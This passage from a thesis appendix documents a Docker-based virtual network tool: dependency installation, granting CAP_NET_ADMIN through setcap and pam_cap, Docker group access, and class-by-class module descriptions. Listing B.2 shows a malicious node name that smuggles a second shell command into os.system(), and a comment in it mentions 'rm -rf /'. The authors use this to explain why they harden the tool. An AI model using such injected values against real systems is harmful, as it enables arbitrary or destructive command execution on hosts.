PIP is python’s package manager. Running python3 -m pip --version aides in de-
termining whether it is present on the system or not. If it is, a message containing
information on PIP’s version will be printed.

B.1.4 Python Modules

Our tool depends on both the matplotlib and networkx modules. Once PIP is installed
on the system we can run python3 -m pip list | grep <module-name> to determine
whether module ¡module-name¿ is present on the system or not. If the previous command
shows no output, the specified module is not present on the system. Note listing B.1 ex-
plicitly uses sudo when installing these modules. We delve a little deeper into that fact
in a later section.

1 # If any packages are to be installed with apt ,

2 # update the repositories.

3 sudo apt update

4

5 # Installing iproute2

6 sudo apt install iproute2

7

8 # Installing docker

9 # Auxiliary packages

10 sudo apt install \

11 apt -transport -https \

12 ca -certificates \

13 curl \

14 gnupg \

15 lsb -release

16

17 # Obtaining Docker ’s repository GPG key

18 curl -fsSL https :// download.docker.com/linux/ubuntu/gpg \

19 | sudo gpg --dearmor -o \

20 /usr/share/keyrings/docker -archive -keyring.gpg

21

22 # Adding Docker ’s repository to the system
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23 echo \

24 "deb [arch=amd64 signed -by=/usr/share/keyrings/ \

25 docker -archive -keyring.gpg] https :// download \

26 .docker.com/linux/ubuntu $(lsb_release -cs) \

27 stable" | sudo tee /etc/apt/sources.list.d/ \

28 docker.list > /dev/null

29

30 # Updating the repositories

31 sudo apt update

32

33 # Installing docker itself

34 sudo apt install docker -ce docker -ce -cli containerd.io

35

36 # Installing PIP

37 sudo apt install python3 -pip

38

39 # Installing python modules matplotlib and networkx

40 # Note the can be installed separately.

41 sudo python3 -m pip install matplotlib networkx

Listing B.1: Commands for Installing Needed Dependencies.

B.2 A note on Capabilities

On section 4.1.2 we already introduced the term capability. As seen on [20], capabilities
allow for a finer control so as to what a process can and cannot do. What is more, a
process spawned by a non-privileged user can take actions traditionally reserved for those
started by a privileged user as long as it is granted the necessary capabilities. The reader
might recall listing 2.12 in which we were explicitly assigning several capabilities to the
containers we were spawning so that they could perform several needed actions. One of
the benefits of using containers is that they allow for a tighter control on what the process
running within them can and cannot do. That is why they do are not granted all the
capabilities by default.

Capabilities are a feature of the linux kernel, and thus they can be applied to other
scenarios. One of the conditions for running our program set forth in section 4.1.2 was
that it needed to be executed as root. The limitation was imposed by the need to lever-
age the iproute2 suite for the configuration of the network interfaces associated to the
containers. Now, if we apply the concept of capabilities to this particular case we can
free ourselves from such a limitation. Given we are passing strings to the os.system()

function we are exposing the host to injection attacks through, for example, malicious
node names. Listing B.2 contains one such example. Even though it is tru careful parsing
of the arguments passed to os.system() can prevent these kind of attacks we believe the
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approach involving capabilities to be much more robust.

1 # Note the node name is passed to os.system () "as is".

2 # With the ’;’ character we will try to run a malformed

3 # command and then execute whatever comes after it. We

4 # are being nice in our example , but if someone tried

5 # to run ’rm -rf /’ we could be in deep trouble ...

6 net.add_node(’; echo "Running with UID = $UID!’, type = ’node’)

Listing B.2: A Malicious Node Name Exploiting Privileges.

A key piece of information extracted from [20] is shown on listing B.3. It shows how
the capabilities of a process are transformed when a call to execve() [43] takes place.
Given how shells such as bash [44] work, they rely on execve() for launching other pro-
grams, which implies the rules set forth on listing B.3 are of the utmost importance.

1 P’( ambient) = (file is privileged) ? 0 : P(ambient)

2 P’( permitted) = (P(inheritable) & F(inheritable)) |

3 (F(permitted) & P(bounding)) | P’( ambient)

4 P’( effective) = F(effective) ? P’( permitted) : P’( ambient)

5 P’( inheritable) = P(inheritable) [i.e., unchanged]

6 P’( bounding) = P(bounding) [i.e., unchanged]

7 where:

8 P() denotes the value of a thread capability set before

9 the execve (2)

10 P’() denotes the value of a thread capability set after

11 the execve (2)

12 F() denotes a file capability set

13 & denotes the AND logical operation between sets.

14 | denotes the OR logical operation between sets.

15 A ? B : C denotes an IF-ELSE close that can be read as: if

16 A is TRUE then B ELSE C.

Listing B.3: Transformation of Capabilities During execve().

Given the contents of listing B.3 one might feel overwhelmed. The key idea is to
somehow make sure that the processes effective set (i.e. P’(effective)) contains the
capabilities we want to grant. In our case we seek granting the CAP NET ADMIN ca-
pability to the host’s iproute2 binary. This would imply that we would no longer need to
run our program as root1, thus denying a huge attack vector.

We must begin by locating the ip binary within the system. This can easily be accom-
plished by running readlink $(which ip). This command will either show the real path
to the ip or show no output. In the latter case, the binary’s real path is given by which

1Disabling the calls to iptables as discussed on section 2.7 would still require privileges. This can
nonetheless be done manually without impacting the tool’s main use.
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ip. In our case on a machine running Ubuntu 20.04 which ip returns /usr/sbin/ip

which is a symbolic link to /bin/ip, the real executable.

Now that we have located the program itself we need to make sure that CAP NET AD
MIN makes its way to the P’(effective) set. This implies the effective (i.e. F(effective
)) flag must be set for /bin/ip and that CAP NET ADMIN should belong to P’(permitt

ed). In order for this to be true, the CAP NET ADMIN capability must belong to the
file’s permitted (i.e. F(permitted)) set and the same capability must belong to the
P(bounding) set.

These changes can be made effective through the setcap [45] command. Running sudo

setcap cap net admin+ep /bin/ip does indeed configure the capabilities as shown by
the output of getcap /bin/ip [46]. On top of that, we can leverage the capsh --print

[47] command to query the current process’ (i.e. the shell’s) bounding capabilities (i.e.
P(bounding)) to indeed check that CAP NET ADMIN belongs to it. To the extent of
what we know this would need to be sufficient to be able to leverage ip to carry out
network-related tasks. To our uttermost surprise, it was not.

If one browses iproute2’s source code on [48] line 181 on file iproute2/ip/ip.c2 has a
suspicious looking name. The definition of the drop cap() function called on it is found on
lines 1571→ 1597 of file iproute2/lib/utils.c3 and is included on listing B.4 for convenience.
The key aspect to note is that the function checks whether the CAP NET ADMIN capa-
bility belongs to the process’ inheritable set (i.e. P’(inheritable)) as we have already
execve()ed from the shell. Given this set remains unchanged, we can rest assured ip

is effectively checking whether the CAP NET ADMIN capability belonged to the shell’s
inheritable set (i.e. P(inheritable)). As that was not the case (we had not modified
the shell’s binary) then the check on line 18 of listing B.4 evaluates to true (i.e 1), which
makes makes ip drop all the capabilities we have explicitly provided through setcap.

1 void drop_cap(void)

2 {

3 #ifdef HAVE_LIBCAP

4 /* don’t harmstring root/sudo */

5 if (getuid () != 0 && geteuid () != 0) {

6 cap_t capabilities;

7 cap_value_t net_admin = CAP_NET_ADMIN;

8 cap_flag_t inheritable = CAP_INHERITABLE;

9 cap_flag_value_t is_set;

10

11 capabilities = cap_get_proc ();

2https://github.com/shemminger/iproute2/blob/main/ip/ip.c#L181
3https://github.com/shemminger/iproute2/blob/main/lib/utils.c#L1571-L1597

https://github.com/shemminger/iproute2/blob/main/ip/ip.c#L181
https://github.com/shemminger/iproute2/blob/main/lib/utils.c#L1571-L1597
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12 if (! capabilities)

13 exit(EXIT_FAILURE);

14 if (cap_get_flag(capabilities , net_admin , inheritable ,

15 &is_set) != 0)

16 exit(EXIT_FAILURE);

17 /* apps with ambient caps can fork and call ip */

18 if (is_set == CAP_CLEAR) {

19 if (cap_clear(capabilities) != 0)

20 exit(EXIT_FAILURE);

21 if (cap_set_proc(capabilities) != 0)

22 exit(EXIT_FAILURE);

23 }

24 cap_free(capabilities);

25 }

26 #endif

27 }

Listing B.4: Defintion of the drop cap() Function.

The check on line 18 opens up a door for executing ip with the aid of capabilities.
When we read the drop cap() function we began wondering the motivation behind it.
Given our approach of adding the CAP NET ADMIN capability to both the effective
and permitted sets for /bin/ip, we are effectively allowing any user modify the machine’s
network configuration. This poses a potential security risk. In our quest for a solution
to this limitation we encountered a solution that circumvents this issue whilst allowing a
more fine grained approach to the management of capabilities.

The Linux Pluggable Authentication Modules (PAM) [49] provides an interface for pro-
grams to access several authentication schemes. In our case we are not concerned with
the authentication facilities PAM provides: we just seek the ability to somehow modify
a shell’s inheritable capabilities set so that these can be passed on to /bin/ip when run
from the shell. In order to do so we can leverage the pam cap PAM module [50] which
in turn relies on the /etc/security/capability.conf file to set the current process’
inheritable capabilities. We just need to use the pam cap module within one of the config-
uration files under the /etc/pam.d directory. We settled on using the /etc/pam.d/login
file as it offered a service required by login shells like the one we will launch our pro-
gram from. One just needs to add the auth required pam cap.so line so that the
module becomes effective. By then specifying a line such as cap net admin <username>

on /etc/security/capability.conf we would be making processes spawned by user
username that relied on the login service contain the CAP NET ADMIN capability in
its inheritable set (i.e. P(inheritable)). This can indeed be checked if we run capsh

--print from a new shell after having modified the PAM -related configuration.

Now that the process that will be launching /bin/ip contains the CAP NET ADMIN
capability in its inheritable set we just need to recall the contents of listing B.3. As capa-
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bilities will not be dropped by drop cap() by the test on line 18 evaluating to true we just
need to make sure CAP NET ADMIN will make its way into P’(effective). In order to
achieve that we need to activate the effective flag for /bin/ip and add said capability to its
inheritable set (i.e. F(inheritable)), as it will be ANDed with the parent process’ inher-
itable capability set. In other words, we need to run setcap cap net admin=ei /bin/ip.

With the configuration we have just described user username will be capable of ex-
ecuting any iproute2 command without depending in sudo. As seen on [20], capability
sets are maintained across fork()s. Given system() relies on fork() we can rest assured
this approach will be compatible with how we are interacting with the iproute2 suite.
Capabilities might come across as confusing at first sight, but they are a great mechanism
to gain a firmer grasp on a system’s security policies.

B.3 Interacting With Docker as a Regular User

After following the installation procedure outlined before the user might find he or she
cannot execute docker commands. This is due to the fact that only root can do that by
default. However, given permissions are based on both users and groups on Unix -like
systems we can easily grant any user the ability to interact with the docker engine. By
running sudo usermod -aG docker <username> we would be granting user username

the ability to use docker’s CLI. The usermod [51] command will just add user username

to the docker group. This group is automatically created during docker’s installation.
Please note that the changes will not come into effect until the user in question logs in
again after being added to the docker group (i.e. the user will need to spawn another
shell).

If we combine this setup with the one outlined in the previous section we can avoid
having to run our tool as root, thus providing stricter security measures and a more ele-
gant design.

B.4 Acquiring the Project’s Code

This document has only described the functions, classes and methods we have defined
to provide a tool capable of automating the deployment and management of full virtual
networks. This section exposes how one can gain access to the entire source code so that
he or she can run the code and use it as they please.
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B.4.1 Leveraging git

As per [52], “git is a fast, scalable, distributed revision control system”. We have decided
to leverage its capabilities to aide in our development even though we were working on our
own. It has allowed us to manage our code in a resilient way, keep several synchronised
backups and keep our source tree tidy at all times.

In our opinion, one of git’s best features is that it allows users to quickly obtain a
copy of a project. The next section is devoted to explaining how anybody can obtain the
product of our work and how they can also propose changes in such a way that handling
them is an almost effortless procedure.

Cloning the Repository

Git is concerned with managing repositories. Our code exists as a remote repository
that a user may clone to obtain a local copy of it. Thus, by issuing the git clone

https://github.com/pcolladosoto/cld wall.git command a directory named cld wa

ll will be created in the current working directory. Said directory is just a local copy of
the remote repository. It allows the user not only access ti the current version of the code,
but also to its entire history. This is by no means a comprehensive guide on how to use
git. We encourage the reader to read through [52] and also to consider reading [53] if he
or she finds the topic interesting. We have also prepared a small presentation (albeit in
Spanish) that can be found in [54] covering the basics of git.

Proposing Changes

Given the project’s source code is hosted on https://github.com one can leverage the
mechanisms it provides for handling a project’s lifespan. We personally find issues4 to be
quite intuitive and we encourage any user wanting to propose an enhancement or point
out a bug to open an issue at https://github.com/pcolladosoto/cld_wall/issues.
We will try to do our best to reply to any requests we might receive.

4https://guides.github.com/features/issues/

https://github.com
https://github.com/pcolladosoto/cld_wall/issues
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Comprehensive Module Analysis

C.1 The virt net Module

Constants.py

In an effort to reduce the number of dependencies we decided to leverage ANSI Escape
Codes to colour the different output messages. This module then defines the different
strings controlling the colours.

Imported Libraries None as there are no external dependencies.

Global Variables

1. terminal escape sequences (dictionary/string/string): Dictionary keyed
by color names whose associated values are ANSI Escape Sequences changing the
terminal’s output color to the one specified. This solution is not to be considered
portable. It should nonetheless work on any regular terminals supporting colors.
We can assure it works with the following terminal emulators: tilix, kitty and Visual
Studio Code’s Embedded Terminal Emulator.

Interface.py

This class will be in charge of providing a node’s network functionality. An interface
represents a connection with a computer network and thus is defined by a key parameter:
the IP address. We should stress how an IP address is associated with an interface, not
with the host itself. This subtlety will be extremely relevant when dealing with routers.

Another key aspect of interfaces is the role they play in network routes. Even though
it is not entirely correct, in our case we can talk about the interface’s routes. If we are
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being precise we would consider routes to be associated to a machine’s network stack, not
to a given interface. Nonetheless, as the graphs we are to instantiate will always define
topologies in such a way that only an interface per host will belong to a given subnet we
can indeed associate a route with an interface for a given route will only egress through a
specific interface. This distinction will allow us to quickly and univocally query a node’s
route configuration.

Once an interface is configured it will just support a machine’s connections. It is also
crucial to note that even though an instance of the interface class is not the same thing
as a veth, they are intimately related. Instantiating an interface will trigger the cre-
ation of a veth and deleting the former will also remove the latter. All in all, an interface’s
lifecycle can be described as:

1. An interface instance is created and the associated veth is created as well.

2. The interface is assigned an IP address.

3. One or more routes are assigned to or deleted from the interface.

4. The interface sits idle until it returns to 2 or 3 or goes to 5.

5. The interface is removed, which will also remove the corresponding veth.

Imported Libraries

1. os: This module enables the execution of commands through a sh shell through
the os.system() method. One can check the shell being spawned is indeed sh by
running os.system("echo $0") or by querying [55].

2. constants: Grant access to the terminal escape sequences dictionary con-
taining ANSI escape sequences enabling colored output.

Global Variables

1. t colors - dictionary/string/string: This is a synonym for the terminal esc

ape sequences dictionary we me mentioned before. It is used within calls to
print() so that we can alter the terminal text’s color allowing for a more visual
information representation.

The interface Class This class represents a host’s interface.
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Class Attributes

1. self.host name - string: Name identifying the host this interface belongs to.

2. self.ip range - string: Interface’s IP and subnet mask in CIDR [56] format.
Ex: 10.0.0.1/24.

3. self.ip - string: Interface’s IP address.

4. self.if name - string: Interface’s name. This is equivalent to traditional names
like enp2s0 or wlp3s0 in Linux-based systems. In our case the names will follow
a pattern given by veth + - where + and - are the names of the connected nodes.
Note either + or - will be the same as self.host name. We would finally like to
point out that + and - can be either upper or lowercase, depending on which is the
first node to be attached to the links we create.

5. self.subn gateway - string: IP address of this subnet’s gateway, following the
same format as self.ip.

6. self.subn - string: Interface’s subnet given as the network address for said sub-
net together with the subnet mask in CIDR notation. Ex: 10.0.0.0/24.

7. self.outbound interface - boolean: True if the interface’s host is allowed to
connect to external subnets. False otherwise. Due to how some ICS networks
need to isolate some equipment, such as reactor’s control systems, we need to know
whether a given host is allowed to “see” the outside world. Having this information
encoded into interfaces allows for a cleaner design when routing the network.

The Constructor

1. Parameters:

(a) self - interface inst: The actual interface instance.

(b) h name - string: The host the interface belongs to.

(c) if name - string: The interface name

(d) subnet - string: The subnet the interface belongs to.

(e) h type - boolean: True if the interface belongs to a regular node, False

otherwise.

(f) out interface - boolean - optional: True if the node is allowed to “see”
other subnets, False otherwise.

2. Returns: Nothing.

3. Description: This method will initialize the members of an interface inst and
call the activate iface() method.
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The activate iface() Method

1. Parameters:

(a) self - interface inst: The actual interface instance.

2. Returns: Nothing.

3. Description: This method leverages the os.system() function to activate a veth
interface. The string we pass os.system() is built though the concatenation of
several instance attributes. As we usually do, we check whether os.system()’s
return code was 0 to show an informative message to the user.

The get if subnet() Method

1. Parameters:

(a) self - interface inst: The actual interface instance.

2. Returns: A string containing the subnet the interface belongs to in CIDR nota-
tion.

3. Description: Not applicable.

The get if ip range() Method

1. Parameters:

(a) self - interface inst: The actual interface instance.

2. Returns: A string containing the interface’s IP and subnet mask in CIDR format.

3. Description: Not applicable.

The get if ip() Method

1. Parameters:

(a) self - interface inst: The actual interface instance.

2. Returns: A string containing the interface’s IP.

3. Description: Not applicable.
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The get if name() Method

1. Parameters:

(a) self - interface inst: The actual interface instance.

2. Returns: A string containing the interface’s name.

3. Description: Not applicable.

The get routes() Method

1. Parameters:

(a) self - interface inst: The actual interface instance.

2. Returns: A dictionary/string/string containing the routes that have been
assigned through this interface.

3. Description: Not applicable.

The set if name() Method

1. Parameters:

(a) self - interface inst: The actual interface instance.

(b) if name - string

2. Returns: Nothing.

3. Description: Assigns the value of the if name parameter to the self.if name

attribute.

The assign addr() Method

1. Parameters:

(a) self - interface inst: The actual interface instance.

(b) ip range - string: The interface’s IP address together with its subnet mask.

(c) gw addr - string - optional: IP address of the subnet’s gateway (i.e. router).

(d) subnet - string - optional: The subnet the interface belongs to in CIDR
format.

2. Returns: Nothing.
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3. Description: This method lets the caller assign an IP address to the interface. The
method will check that the interface name is valid and that the interface had no
previous address to avoid errors. Note that when a node moves within the network
its interface will not be reconfigured: a new one will be added to the node. Once the
addressing has been successfully completed a message stating that will be printed.

The assign route() Method

1. Parameters:

(a) self - interface inst: The actual interface instance.

(b) dest subnet - string: Destination subnet for the route in CIDR format.

(c) gw router - string: IP of the gateway for the interface’s subnet.

2. Returns: Nothing.

3. Description: After checking the interface has been assigned an IP address and that
it is allowed to communicate with other subnets through the self.outbound inter

face attribute it will add the route defined by the parameters to the self.routes

dictionary.

The reset interface() Method

1. Parameters:

(a) self - interface inst: The actual interface instance.

2. Returns: Nothing.

3. Description: This method will wipe the self.routes dictionary and remove
the interface’s IP address. This will also delete any preexisting routes. As usual, an
informative message will inform of the operation’s success.

The remove interface() Method

1. Parameters:

(a) self - interface inst: The actual interface instance.

2. Returns: Nothing.

3. Description: This method will delete the associated interface, together with all
the routes, and print an informative message upon completion.
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The Destructor

1. Parameters:

(a) self - interface inst: The actual interface instance.

2. Returns: Nothing.

3. Description: This method will just call remove interface().

Subnet Machines.py

This file contains the class definitions for the elements belonging to a subnet: bridges and
nodes. We would like to clarify that we refer to regular hosts as nodes interchangeably.

We have purposefully decided not to consider routers as part of a subnet. The logic
behind the decision is that a router belongs to at least two subnets in our topologies. Thus,
defining its class in a file whose context is that of a single subnet did not seem appropriate.

Once again, we should point out how an instance of the k bridge class is not the
same thing as the actual bridge, but they are intimately related. The following explains
the lifecycle of both classes defined in this file.

1. The real instance, either a bridge or a host, is brought up.

2. The object representing said instance is created.

3. The object sits idle. Several of its parameters can be altered within this state.

4. At some point, the object will be dismantled.

5. The release of the object will trigger the removal of the associated real instance.

Imported Libraries

1. os: This module enables the execution of commands through a sh shell through
the os.system() method. One can check the shell being spawned is indeed sh by
running os.system("echo $0") or by querying [55].

2. constants: Grant access to the terminal escape sequences dictionary contain-
ing ANSI escape sequences enabling colored output.

3. sys: This module allows us to print error messages to STDERR instead of STDOUT
so that they can be easily redirected later on if needed with 2>/path/to/log.
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4. subprocess: This module enables the execution of commands through a shell and
allows the caller to retrieve the command’s output to STDOUT on top of its return
code. This will let us retrieve a container’s associated PID.

5. interface: This module will let us instantiate and add interface inst to the
nodes we create.

Global Variables

1. t colors - dictionary/string/string: This is a synonym for the terminal

escape sequences dictionary we me mentioned before. It is used within calls
to print() so that we can alter the terminal text’s color allowing for a more visual
information representation.

The k bridge Class This class represents a virtual bridge. Note the ‘k’ stands for
kernel as these bridges are part of the kernel itself.

Class Attributes

1. self.type - string: Object type identifier containing the ‘‘bridge’’ string

for bridges. It is used within functions to check the type of object it is currently
dealing with.

2. self.name - string: Bridge’s name.

3. self.up - boolean: True if the bridge is currently up (i.e. “switched on”). False
otherwise.

4. self.subnet - string: Bridge’s associated subnet given as the network address
for said subnet together with the subnet mask in CIDR notation.

The Constructor

1. Parameters:

(a) self - k birdge inst: The actual bridge instance.

(b) name - string: The bridge’s name.

(c) subnet - string: The subnet associated with this bridge.

2. Returns: Nothing.

3. Description: This method will initialize the members of an k bridge inst and
call the activate bridge() method.
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The activate bridge() Method

1. Parameters:

(a) self - k bridge inst: The actual bridge instance.

2. Returns: Nothing.

3. Description: After the bridge has been instantiated it must be brought up so that
it can be operated normally. We do so through the ip link command, printing a
message on success. Once the bridge is activated, the self.up attribute will be set
to True.

The get name() Method

1. Parameters:

(a) self - k bridge inst: The actual bridge instance.

2. Returns: A string containing the bridge’s name.

3. Description: Not applicable.

The get type() Method

1. Parameters:

(a) self - k bridge inst: The actual bridge instance.

2. Returns: The ‘‘bridge’’ string.

3. Description: Not applicable.

The get subnet() Method

1. Parameters:

(a) self - k bridge inst: The actual bridge instance.

2. Returns: A string containing the bridge’s associated subnet in CIDR format.

3. Description: Not applicable.
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The remove() Method

1. Parameters:

(a) self - k bridge inst: The actual bridge instance.

2. Returns: Nothing.

3. Description: This method shuts the bridge down. It will check it is indeed ac-
tivated before doing so in an effort to prevent errors provoked by calling ip link

with incorrect parameters (i.e. such as by trying to shutdown a bridge that is al-
ready down). This method will print a message to STDOUT informing whether the
operation was a success or not.

The Destructor

1. Parameters:

(a) self - k bridge inst: The actual bridge instance.

2. Returns: Nothing.

3. Description: This method will just call remove().

The d node Class This class represents a node implementing a virtual host. Note the
‘d’ stands for docker.

Class Attributes

1. self.type - string: Object type identifier containing the ‘‘node’’ string for
nodes. It is used within functions to check the type of object it is currently dealing
with.

2. self.name - string: Node’s name.

3. self.pid - int: The associated container’s PID. It is used when linking the con-
tainer’s network namespace to /var/run/netns so that we can easily access it af-
terwards.

4. self.interfaces - list/interface inst: A list containing the instances of the
interfaces belonging to this node.
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The Constructor

1. Parameters:

(a) self - d node inst: The actual node instance.

(b) name - string: The node’s name.

2. Returns: Nothing.

3. Description: This method will just initialize several members with the passed
parameters whilst assigning sane defaults to others. It leverages the power of the
docker inspect command to find the associated container’s PID. It will also call
link net namespace() to allow an easier handling of the container’s namespace

through the ip command. It finally calls set hostname() to configure the node’s
identity from the network’s perspective.

The link net namespace() Method

1. Parameters:

(a) self - d node inst: The actual node instance.

2. Returns: Nothing.

3. Description: This method will create a symbolic link to the container’s network
namespace under /var/run/netns where the ip command will “look for” existing
named namespaces. This method leverages the self.pid attribute that is initialized
in the constructor to find the original location of the container’s namespace so that
it can later be linked.

The set hostname() Method

1. Parameters:

(a) self - d node inst: The actual node instance.

2. Returns: Nothing.

3. Description: This method will just set the container’s hostname. It is essential
to distinguish between the container’s name and its hostname. The former is an
identifier that only concerns docker, whilst the latter will be the machine’s identifier
from the point of view of the network. This method will make the latter the same
as the former. What is more, this operation made us change the underscores ( ) in
the original node names by hyphens (-): the former were not allowed on network
hostnames.
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The get name() Method

1. Parameters:

(a) self - d node inst: The actual node instance.

2. Returns: A string containing the node’s name.

3. Description: Not applicable.

The get type() Method

1. Parameters:

(a) self - d node inst: The actual node instance.

2. Returns: The ‘‘node’’ string.

3. Description: Not applicable.

The get subnets() Method

1. Parameters:

(a) self - d node inst: The actual node instance.

2. Returns: A list/string containing the different subnets this node is connected
to in CIDR format.

3. Description: This method will iterate over the interface inst contained in the
self.interfaces attribute to then provide a list containing the subnets each of
these interface inst belong to. Even though nodes will usually belong to a single
subnet this method allows for a more extensible design that can accommodate for
nodes belonging to different subnets in more complex topologies.

The get interface() Method

1. Parameters:

(a) self - d node inst: The actual node instance.

(b) subnet - string - optional: Specifies the subnet for which an associated
interface inst should be returned.

2. Returns: The following are evaluated in order.
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(a) A list/interface inst if the subnet parameter was not specified.

(b) An interface inst associated to the subnet specified in the subnet parame-
ter.

(c) None if there is no interface associated with the subnet specified through the
subnet parameter.

3. Description: As seen on the returns section, the subnet parameter behaves like
a switch. A list of interface inst will be returned if it is not specified by the
caller. In case it is provided, it will return either an interface inst or None if
there is no interface associated with the specified subnet.

The create interface() Method

1. Parameters:

(a) self - d node inst: The actual node instance.

(b) if name - string: Name of the interface to create.

(c) if subnet - string: Subnet associated with the interface to create.

(d) o if - boolean: Flag indicating whether the interface to create should be
allowed to “see” other subnets.

2. Returns: Nothing.

3. Description: This method will instantiate a new interface and add it to the node’s
self.interfaces list. The method’s parameters will be passed directly to the
interface class constructor.

The reset interfaces() Method

1. Parameters:

(a) self - d node inst: The actual node instance.

2. Returns: Nothing.

3. Description: This method erases all the interfaces associated with the node through
the clear() [57] method of the self.interfaces list. This method will implic-
itly call the destructor for each interface, thus effectively deleting the underlying
veths.
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The stop() Method

1. Parameters:

(a) self - d node inst: The actual node instance.

2. Returns: A boolean indicating whether the operation succeeded or not.

3. Description: This method is in charge of stopping the instance’s associated docker
container. We can do so thanks to the docker stop command. This method
leverages a redirection to /dev/null so that the output generated by docker stop

does not interfere with our own. This method will print a message both upon success
and error.

The remove() Method

1. Parameters:

(a) self - d node inst: The actual node instance.

2. Returns: Nothing.

3. Description: This method is in charge of entirely removing the associated con-
tainer. It will call the stop() method as a container must be stopped before it can
be removed through the docker rm command. First of all, the method will get rid
of the interfaces as soon as possible so that, even if something goes wrong when
deleting the container, it has no connection to a network that might still be alive.
This will in fact isolate the container so that possible errors have no impact on the
rest of the virtualized scenario. We will also delete the link to the container’s net-
work namespace living under /var/run/netns. As usual we will print information
relative to the command’s outcome.

The Destructor

1. Parameters:

(a) self - d node inst: The actual node instance.

2. Returns: Nothing.

3. Description: This method will call the remove() which will in turn delete the
associated container. Given the definition of the remove() method this will later
allow us to dismantle the entire network with a single order.



APPENDIX C. COMPREHENSIVE MODULE ANALYSIS 110

Subnet.py

This file defines a class representing an entire subnet. This class acts as the gateway
through which bridges and nodes can be instantiated. In an effort to attain a firmer
logical structure, instances of this class are the only means of adding more bridges and
nodes to the network.

When a subnet is instantiated it will contain no nodes or bridges, these will be added
over time. We would like to stress how, even though a subnet will keep track of the routers
it contains, it will by no means control them. That is, routers will not be added to or
deleted from a subnet through a subnet instance. These will be instead controlled from
the net class we will delve into later.

A subnet’s lifecycle is summarized by the following enumeration:

1. The subnet is instantiated.

2. Bridges and nodes are created and/or deleted through this instance.

3. The subnet is removed from the overall network instance when the network is being
dismantled.

4. Upon deletion a subnet will remove all its associated bridges and nodes.

Imported Libraries

1. os: This module enables the execution of commands through a sh shell through
the os.system() method. One can check the shell being spawned is indeed sh by
running os.system("echo $0") or by querying [55].

2. constants: Grant access to the terminal escape sequences dictionary contain-
ing ANSI escape sequences enabling colored output.

3. sys: This module allows us to print error messages to STDERR instead of STDOUT
so that they can be easily redirected later on if needed with 2>/path/to/log.

4. subnet machines: This module will let us instantiate and add k bridge insts and
d node insts to the subnets we create.

Global Variables

1. t colors - dictionary/string/string: This is a synonym for the terminal esc

ape sequences dictionary we me mentioned before. It is used within calls to
print() so that we can alter the terminal text’s color allowing for a more visual
information representation.
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The d subnet Class This class represents an entire subnet. Note the ‘d’ stands for
docker, just like with the d node class. We would also like to mention that we decided
to leverage lists instead of dictionaries for the attributes holding references to the
different subnet components which we will analyze below. The reason behind it is that
using a node or bridge name as a dictionary key when it is also an attribute of said
instances seemed redundant. The reader might notice how the get bridges() method is
missing. We purposefully decided not to define it given it did not prove to be necessary
under any circumstances.

Class Attributes

1. self.subnet addr - string: subnet’s address given as the network address as
well as the subnet mask in CIDR format.

2. self.bridges - list/k bridge inst: A list of the active bridges in the subnet.
Our topologies only have a single bridge per subnet but we nonetheless decided to
allow for more bridges within a subnet in case a user wanted to expand on our work.

3. self.nodes - list/d node inst: A list of the nodes belonging to this subnet.

4. self.routers - list/d router inst: A list containing references to the routers
that have an interface belonging to this subnet.

The Constructor

1. Parameters:

(a) self - d subnet inst: The actual subnet instance.

(b) subnet - string: The subnet’s address.

2. Returns: Nothing.

3. Description: This method will just initialize the self.subnet addr with the
passed parameter and the rest with empty lists.

The get subnet addr() Method

1. Parameters:

(a) self - d subnet inst: The actual subnet instance.

2. Returns: A string containing the subnet’s address in CIDR format.

3. Description: Not applicable.
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The get nodes() Method

1. Parameters:

(a) self - d subnet inst: The actual subnet instance.

2. Returns: A list/d node inst containing the instances of the nodes belonging to
this subnet.

3. Description: Not applicable.

The get routers() Method

1. Parameters:

(a) self - d subnet inst: The actual subnet instance.

2. Returns: A list/d router inst containing the instances of the routers with at
least one interface belonging to this subnet.

3. Description: Not applicable.

The add node() Method

1. Parameters:

(a) self - d subnet inst: The actual subnet instance.

(b) node - d node inst: The node we are to add to the subnet.

2. Returns: Nothing.

3. Description: This method will add an existing node to this subnet. This method’s
main use is reconfiguring the state of the network when a node is moved.

The add router() Method

1. Parameters:

(a) self - d subnet inst: The actual subnet instance.

(b) node - d router inst: The router we are to add to the subnet.

2. Returns: Nothing.

3. Description: This method will add an existing router to this subnet. This
method’s main use is reconfiguring the state of the network when an entire sub-
net is moved.
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The create bridge() Method

1. Parameters:

(a) self - d subnet inst: The actual subnet instance.

(b) name - string: The name of the bridge we are to create.

2. Returns: The created k bridge inst or None in case of failure.

3. Description: This method will create a “real instance” of a bridge together with
the object logically representing it. The bridge’s name is the passed parameter. It
does so through the ip link command. A message will be printed on both success
and failure.

The create node() Method

1. Parameters:

(a) self - d subnet inst: The actual subnet instance.

(b) name - string: The name of the node we are to create.

2. Returns: The created d node inst or None in case of failure.

3. Description: The method will just create a docker container and the associated
d node inst which will be appended to the self.nodes attributes. The name for
both the container and the instance will be the passed parameter.

The remove bridge() Method

1. Parameters:

(a) self - d subnet inst: The actual subnet instance.

(b) name - string: The name of the bridge we are trying to remove.

2. Returns: Nothing.

3. Description: This method will remove a bridge instance from the self.bridges

attribute, thus removing the “real instance” in the process as well. A message will
be printed upon both a successful and unsuccessful completion.
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The remove node() Method

1. Parameters:

(a) self - d subnet inst: The actual subnet instance.

(b) name - string: The name of the node we are trying to remove.

2. Returns: Nothing.

3. Description: This method will remove a node instance from the self.nodes at-
tribute, thus removing the “real instance” in the process as well. A message will be
printed upon both a successful and unsuccessful completion.

The remove node instance() Method

1. Parameters:

(a) self - d subnet inst: The actual subnet instance.

(b) node inst - d node inst: The node we are to remove.

2. Returns: Nothing.

3. Description: This method will remove a node instance form the subnet’s self.nod
es attribute but it will not remove the node itself. It is extremely important to
grasp this subtle difference. This method is invoked when moving nodes around the
net and would not be strictly needed in a context where the virtualized network
is totally static. It will help us maintain an accurate network representation upon
network changes. If this method were not to exist it would imply that our network
representation would deviate from the actual virtual network whenever we altered
the topology.

The remove router() Method

1. Parameters:

(a) self - d subnet inst: The actual subnet instance.

(b) name - string: The name of the router we are trying to remove.

2. Returns: Nothing.

3. Description: This method will remove a router instance from the self.routers

attribute. However, said router instance will always be referenced somewhere else.
This implies that this deletion will not trigger the removal of the “real instance”.
Given this method is being called quite often, we decided not to print any messages
related to the operation’s outcome as they proved to be more of a nuisance than a
helpful feature.
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The Destructor

1. Parameters:

(a) self - d subnet inst: The actual subnet instance.

2. Returns: Nothing.

3. Description: Due to how we have implemented the destructors in both the d node

and k bridge classes we can just empty the lists containing all the references to the
subnet’s elements. This will trigger the orderly deletion of every expendable com-
ponent. This destructor is not explicitly needed: when an instance of the d subnet

